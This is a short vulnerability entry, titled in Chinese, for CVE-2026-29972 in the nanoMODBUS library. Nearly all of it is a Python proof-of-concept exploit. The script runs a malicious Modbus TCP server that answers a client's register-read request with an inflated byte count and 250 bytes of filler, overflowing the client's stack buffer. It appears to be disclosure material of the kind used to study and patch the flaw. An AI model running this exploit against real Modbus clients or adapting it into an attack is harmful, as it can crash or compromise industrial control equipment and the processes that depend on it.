CVE-2026-29972 nanoMODBUS栈缓冲区溢出漏洞

import socket import struct # PoC for CVE-2026-29972: Malicious Modbus TCP Server # This script simulates a server that sends a response with a large byte_count # to trigger the stack-based buffer overflow in nanoMODBUS client. HOST = '0.0.0.0' PORT = 502 print(f"Listening for connections on {PORT}...") with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) s.listen() conn, addr = s.accept() with conn: print(f"Connected by {addr}") # Wait for client request (e.g., Function Code 0x03 Read Holding Registers) data = conn.recv(1024) if data: # Extract Transaction ID from request to maintain session transaction_id = data[0:2] protocol_id = b'\x00\x00' # Modbus Protocol unit_id = data[6:7] function_code = b'\x03' # Read Holding Registers # Exploit: Set byte_count to 250 (0xFA) # The client likely requested much less, causing a buffer overflow byte_count = b'\xFA' # Payload: 250 bytes of 'A' (attacker controlled data) payload = b'A' * 250 # Construct the MBAP Header + PDU # Length = UnitID(1) + FuncCode(1) + ByteCount(1) + Payload(250) = 253 length = 1 + 1 + 1 + len(payload) length_bytes = struct.pack('>H', length) malicious_packet = transaction_id + protocol_id + length_bytes + unit_id + function_code + byte_count + payload print("Sending malicious response to trigger overflow...") conn.sendall(malicious_packet)